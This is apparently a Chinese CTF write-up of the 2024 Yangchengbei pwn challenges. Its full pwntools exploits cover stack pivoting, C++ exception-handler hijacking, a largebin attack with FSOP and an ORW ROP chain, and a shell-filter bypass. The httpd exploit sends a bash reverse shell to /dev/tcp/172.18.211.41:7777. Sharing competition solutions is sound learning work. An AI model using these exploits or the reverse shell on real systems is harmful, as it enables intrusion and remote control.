羊城杯2024

pstack

  • 常见的栈迁移,签到题
  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4006D5')
p=remote('139.155.126.78',31952)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
    gdb.attach(p,"b *0x4006D5")  
    pause()

# dbg()
#DASCTF{66292495697942601545955548700192}
puts=elf.plt['puts']
stdout=0x600FC0
pop_rdi=0x400773 
pop_rsi_r15=0x400771
bss=0x601010+0x400
my_read=0x4006B8
leave_ret=0x4006db
vuln=0x4006B0
main=0x4006E1
ret=0x400506 

payload=b'a'*0x30+p64(bss+0x30)+p64(my_read)
p.sendafter('overflow?',payload)


payload=p64(pop_rdi)+p64(stdout)+p64(puts)+p64(main)
payload=payload.ljust(0x30,b'\x00')
payload+=p64(bss-8)+p64(leave_ret)
p.sendafter('overflow?',payload)

libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21b868
print(hex(libcbase))


system_addr = libcbase + libc.symbols['system']
bin_addr = libcbase + next(libc.search(b'/bin/sh'))
print(hex(next(libc.search(b'/bin/sh'))))

payload=b'a'*0x30+p64(bss+0x500+0x30)+p64(my_read)
p.sendafter('overflow?',payload)


payload=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
payload=payload.ljust(0x30,b'\x00')
payload+=p64(bss+0x500-8)+p64(leave_ret)
p.sendafter('overflow?',payload)


p.interactive()

logger

  • C++异常处理 main函数 trace函数可以发现有漏洞,可以覆盖到src中的内容,和后面的攻击有关 warn函数 注意此处把exception指向了src
exception = __cxa_allocate_exception(8uLL);
*exception = src;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL );

backdoor函数,这里的rax正好就是存exception指针的寄存器,也就是指向src 一个无关的catch块

都分析完了那就很好打了,见exp

from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x401C5C')
# p=remote('139.155.126.78',31952)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
    gdb.attach(p,"b *0x40190B")  
    pause()

menu='Your chocie:'

dbg()
for i in range(8):
    p.sendlineafter(menu,str(1))
    p.sendafter("You can record log details here: ",b'a'*0x10)
    p.sendlineafter("Do you need to check the records? ",'n')

p.sendlineafter(menu,str(1))
p.sendafter("You can record log details here: ",'/bin/sh\x00')
p.sendlineafter("Do you need to check the records? ",'n')


p.sendlineafter("Your chocie:", "2")
bss=0x4040E0
p.sendlineafter("message", b"A" * 0x70 + p64(bss+0x800) + p64(0x401BC7 ) + cyclic(0x20))

p.interactive()
  • 做题记录
0x401B32  一个传入参数是int类型的catch块
0x401A64  main中catch块
0x401BC7   vuln中catch块
0x401A37 本身warn函数的返回地址

0x401B32:call  std::terminate()@plt 可能是int类型和exception类型不匹配直接就abort了
0x401A64 也是直接abort,可能是没有更外层的catch块
0x401bc7:0x4019A1->0x401bc7 最后getshell
0x401A37:0x4019A1->0x401a64(main中的catch块)->0x401A62->0x4019F2

TravelGraph

  • libc2.35堆溢出
  • 结构体
0x0 from
0x4 to
0x8 distance
0xc type
0x10 note 

main函数 add函数,没有什么漏洞,可以malloc(0x510/0x520/0x530) delete函数,可以看到free后并没有清除list中的东西,但是要注意from,to被清除了 show函数,打印dis和note处的值 edit函数,edit2_flag要在Dijkstra函数中满足一定的条件才能有一次edit的机会 Dijkstra函数

unsigned __int64 Dijkstra()
{
  int i; // [rsp+0h] [rbp-D0h]
  int j; // [rsp+4h] [rbp-CCh]
  int k; // [rsp+8h] [rbp-C8h]
  int m; // [rsp+Ch] [rbp-C4h]
  int city_name; // [rsp+10h] [rbp-C0h]
  int v6; // [rsp+14h] [rbp-BCh]
  int from; // [rsp+18h] [rbp-B8h]
  int to; // [rsp+1Ch] [rbp-B4h]
  int v9[8]; // [rsp+20h] [rbp-B0h] BYREF
  int v10[8]; // [rsp+40h] [rbp-90h] BYREF
  int v11[26]; // [rsp+60h] [rbp-70h]
  unsigned __int64 v12; // [rsp+C8h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  v11[0] = 0;
  v11[1] = 9999;
  v11[2] = 9999;
  v11[3] = 9999;
  v11[4] = 9999;
  v11[5] = 9999;
  v11[6] = 0;
  v11[7] = 9999;
  v11[8] = 9999;
  v11[9] = 9999;
  v11[10] = 9999;
  v11[11] = 9999;
  v11[12] = 0;
  v11[13] = 9999;
  v11[14] = 9999;
  v11[15] = 9999;
  v11[16] = 9999;
  v11[17] = 9999;
  v11[18] = 0;
  v11[19] = 9999;
  v11[20] = 9999;
  v11[21] = 9999;
  v11[22] = 9999;
  v11[23] = 9999;
  v11[24] = 0;
  for ( i = 0; i != 20; ++i )
  {
    if ( routes[i] )
    {
      from = *(_DWORD *)routes[i];
      to = *(_DWORD *)(routes[i] + 4LL);
      if ( *(_DWORD *)(routes[i] + 8LL) < v11[5 * from + to] )
      {
        v11[5 * from + to] = *(_DWORD *)(routes[i] + 8LL);
        v11[5 * to + from] = *(_DWORD *)(routes[i] + 8LL);
      }
    }
  }
  for ( j = 0; j <= 4; ++j )
  {
    v9[j] = 9999;
    v10[j] = 0;
  }
  v9[0] = 0;
  for ( k = 0; k <= 4; ++k )
  {
    v6 = minDistance(v9, v10);
    v10[v6] = 1;
    for ( m = 0; m <= 4; ++m )
    {
      if ( !v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 * v6 + m] < v9[m] )
        v9[m] = v9[v6] + v11[5 * v6 + m];
    }
  }
  puts("Where do you want to travel?");
  city_name = get_city_name();
  printf("It is %dkm away from Guangzhou.\n", (unsigned int)v9[city_name]);
  if ( v9[city_name] > 2000 && v9[city_name] != 9999 )
  {
    puts("That's so far! Please review and rewrite it!");
    ++edit_flag2;
  }
  return v12 - __readfsqword(0x28u);
}
  • 满足Dijkstra函数让edit2_flag为1,这里其实看不懂算法也不影响做题,可以就想象节点和边,从一个节点到另一个节点,要求经过的边总长大于2000即可
add('train','guangzhou','nanning',999,b'a') #1
add('car','nanning','changsha',999,b'a') #2
add('car','changsha','nanchang',999,b'a') #3
d('nanchang')
  • 泄露heapbase,这里很简单,因为都是largebin chunk
#泄露heapbase
add('car','nanning','changsha',999,b'a'*8) #2
show('nanning','changsha')
p.recvuntil(b'a'*8)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0x1470-0x530
print(hex(heapbase))
  • 泄露libcbase,这里就需要一点堆风水了。我自己是利用切割unsorted bin向堆上写入libcbase。具体见图
#delete 0x520 0x540的chunk进入unsorted bin
delete('changsha','nanchang')
delete('fuzhou','changsha')

#先切割0x520大小的chunk,那么剩下的0x540的chunk位置就被写入libcbase
add('car','changsha','nanchang',999,b'a') #3
#然后delete 0x520大小的chunk,再add 0x540的chunk,那么刚才被写入的残余值就可以被泄露
delete('changsha','nanchang')
payload=b'a'*0x510
add('plane','fuzhou','changsha',999,payload) #4
show('fuzhou','changsha')
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21ace0 
print(hex(libcbase))
  • largebin attack 这里可以发现无法由于from,to被清除,delete函数无法直接edit被free的largebin chunk,也是卡了很久,最后发现edit函数有个漏洞 注意这里是num > cnt 而不是 num>=cnt,那么如果输入num=cnt,那么就是route_list[cnt],这个值为0,那么v7 = (_DWORD *)routes[route_list[num]];也就是chunk0,这里就可以修改其bk_nextsize然后largebin attack
for ( i = 0; i != 20; ++i )
  {
    if ( routes[i]
      && (from == *(_DWORD *)routes[i] && to == *(_DWORD *)(routes[i] + 4LL)
       || to == *(_DWORD *)routes[i] && from == *(_DWORD *)(routes[i] + 4LL)) )
    {
      route_list[cnt++] = i;
    }
  }
  if ( cnt )
  {
    puts("----------------");
    for ( j = 0; j < cnt; ++j )
      printf("[+] Route%d: %d\n", (unsigned int)j, (unsigned int)route_list[j]);
    puts("----------------");
    puts("Which one do you want to change?");
    num = read_num();
    if ( num < 0 || num > cnt )
      exit(1);
    puts("How far?");
    v7 = (_DWORD *)routes[route_list[num]];
    v7[2] = read_num();
    puts("Note:");
    read(0, v7 + 4, (unsigned int)(16 * (v7[3] + 79)));
  }
  • house of apple2,套模板即可
  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4006D5')
p=remote('139.155.126.78',35058)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=ELF("/home/zp9080/PWN/libc.so.6")
def dbg():
    gdb.attach(p,"b *$rebase(0x2255)")  
    pause()


menu="5. Calculate the distance."
def add(type,_from,_to,dis,note):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("What kind of transportation do you want? car/train/plane?",type)
    p.sendlineafter("From where?",_from)
    p.sendlineafter("To where?",_to)
    p.sendlineafter("How far?",str(dis))
    p.sendafter("Note:",note)

def delete(_from,_to):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("From where?",_from)
    p.sendlineafter("To where?",_to)

def show(_from,_to):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("From where?",_from)
    p.sendlineafter("To where?",_to)

def edit(_from,_to,whichone,dis,note):
    p.sendlineafter(menu,str(4))
    p.sendlineafter("From where?",_from)
    p.sendlineafter("To where?",_to)
    p.sendlineafter("Which one do you want to change?",str(whichone))
    p.sendlineafter("How far?",str(dis))
    p.sendafter("Note:",note)


def d(where):
    p.sendlineafter(menu,str(5))
    p.sendlineafter("Where do you want to travel?",where)



add('train','guangzhou','nanning',999,b'a') #1
add('car','nanning','changsha',999,b'a') #2
add('car','changsha','nanchang',999,b'a') #3
d('nanchang')

delete('nanning','changsha')
#进入large bin
add('plane','fuzhou','changsha',999,b'a') #4
#防止和topchunk合并
add('plane','changsha','guangzhou',999,b'a') #5 


#泄露heapbase
add('car','nanning','changsha',999,b'a'*8) #2
show('nanning','changsha')
p.recvuntil(b'a'*8)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0x1470-0x530
print(hex(heapbase))

#delete 0x520 0x540的chunk进入unsorted bin
delete('changsha','nanchang')
delete('fuzhou','changsha')

#先切割0x520大小的chunk,那么剩下的0x540的chunk位置就被写入libcbase
add('car','changsha','nanchang',999,b'a') #3
#然后delete 0x520大小的chunk,再add 0x540的chunk,那么刚才被写入的残余值就可以被泄露
delete('changsha','nanchang')
payload=b'a'*0x510
add('plane','fuzhou','changsha',999,payload) #4
show('fuzhou','changsha')
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21ace0 
print(hex(libcbase))
#修复堆结构,同时构造IO
fake_IO_addr = heapbase+0x2e60
magic_gadget = libcbase +0x16A06A #libc.sym["svcudp_reply"] + 0x1a

leave_ret = libcbase + 0x4da83 #: leave ; ret
pop_rdi_ret = libcbase + 0x000000000002a3e5 #: pop rdi ; ret
pop_rsi_ret = libcbase + 0x000000000002be51 #: pop rsi ; ret
pop_rdx_r12_ret = libcbase + 0x000000000011f2e7  #: pop rdx ; pop r12 ; ret
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70

orw_rop =  b'./flag\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr+0x8)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(libcbase + libc.sym['open'])
orw_rop += p64(pop_rdi_ret) + p64(3)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libcbase + libc.sym['read'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libcbase + libc.sym['write'])

                    
payload = p64(1) + p64(2) #这样设置同时满足fsop
payload +=p64(leave_ret)
payload = payload.ljust(0x28, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x80, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xb8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B   _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xc0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xc0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop
add('car','nanning','changsha',999,payload)
add('car','guangzhou','fuzhou',999,payload)
add('car','nanning','changsha',999,payload)


#-----------------------------------------------------------------------------
delete('guangzhou','nanning')
add('plane','nanning','changsha',999,b'a')
delete('guangzhou','fuzhou')

#num > cnt这样num可以等于cnt,那么就可以edit(routes[0])
target=libcbase+libc.sym['_IO_list_all']
payload=p64(heapbase+0xa000)+p64(target-0x20)
edit('guangzhou','changsha',1,0xfff7f7b110,payload)
add('plane','guangzhou','nanchang',999,b'a') #触发largebin attack



p.sendlineafter(menu,str(4))

p.interactive()

httpd

题目没有给libc,保护全开,还是32位,看到这些基本就没有想栈溢出方面的事情了

可以发现这个与以往的web pwn有一些不同,这里有个之前没见过的过滤函数,但绕过这个过滤很简单

_BOOL4 __cdecl whitelist(const char *a1)
{
  _BOOL4 result; // eax
  char needle[3]; // [esp+15h] [ebp-13h] BYREF
  char v3[4]; // [esp+18h] [ebp-10h] BYREF
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  strcpy(needle, "sh");
  strcpy(v3, "bin");
  if ( strchr(a1, '&') )
  {
    result = 0;
  }
  else if ( strchr(a1, '|') )
  {
    result = 0;
  }
  else if ( strchr(a1, ';') )
  {
    result = 0;
  }
  else if ( strchr(a1, '$') )
  {
    result = 0;
  }
  else if ( strchr(a1, '{') )
  {
    result = 0;
  }
  else if ( strchr(a1, '}') )
  {
    result = 0;
  }
  else if ( strchr(a1, '`') )
  {
    result = 0;
  }
  else if ( strstr(a1, needle) )
  {
    result = 0;
  }
  else
  {
    result = strstr(a1, v3) == 0;
  }
  if ( v4 != __readgsdword(0x14u) )
    stack_fail_error();
  return result;
}

然后看看有没有目录穿越,发现是做不到的,注意到这里有一段代码,最关键的就是这个popen函数

popen 函数用于创建一个管道,通过该管道可以让一个进程执行 shell 命令并与该命令进行输入或输出通信。

/*
FILE *freopen(const char *filename, const char *mode, FILE *stream);
freopen 函数用于重定向一个已经打开的文件流。它可以将一个文件流(例如 stdin、stdout 或 stderr)重定向到一个指定的文件。

int dup(int oldfd);
返回值: 成功时,返回新的文件描述符(一个非负整数);失败时,返回 -1,并设置 errno 以指示错误。

int dup2(int oldfd, int newfd);
dup2 函数的具体作用是将一个现有的文件描述符(newfd)复制到另一个指定的文件描述符(oldfd)上。这个操作使得两个文件描述符指向同一个文件或资源,拥有相同的文件偏移量和访问模式。
*/
  v3 = fileno(stdout);
  new_stdout = dup(v3);
  v4 = fileno(stderr);
  new_stderr = dup(v4);
  freopen("/dev/null", "w", stdout);
  freopen("/dev/null", "w", stderr);
  stream = popen("sh >/dev/null", modes);
  if ( stream )
  {
    pclose(stream);
    v6 = fileno(stdout);
    dup2(new_stdout, v6);
    v7 = fileno(stderr);
    dup2(new_stderr, v7);
    close(new_stdout);
    close(new_stderr);
/* 
 ...
*/

}
  • 由此思路就明确了,直接用这个popen函数执行sh,然后反弹shell即可
  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/httpd")
# p=remote('139.155.126.78',31700)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/httpd")
libc=elf.libc
def dbg():
    gdb.attach(p,"b *$rebase(0x1BEE)")  
    pause()

host = '0.0.0.10'
request = 'GET /"s"h HTTP/1.0\r\n'
request += 'Host: ' + host + '\r\n'
request += 'Content-Length: 0\r\n'

p.sendline(request)

p.sendline('bash -c "bash -i >& /dev/tcp/172.18.211.41/7777 0>&1"')
p.interactive()

hard sandbox

  • 零解题,堆的利用很简单,但是sandbox不好绕过
  • 可以发现open和openat都被限制了,同时系统调用还必须是64位的(因为retfq这种技巧也不能用)
zp9080@LAPTOP-N2IL3LVK:~/PWN$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x05 0x00 0x40000000  if (A >= 0x40000000) goto 0009
 0004: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0009
 0005: 0x15 0x03 0x00 0x00000101  if (A == openat) goto 0009
 0006: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0009
 0007: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x7ff00000  return TRACE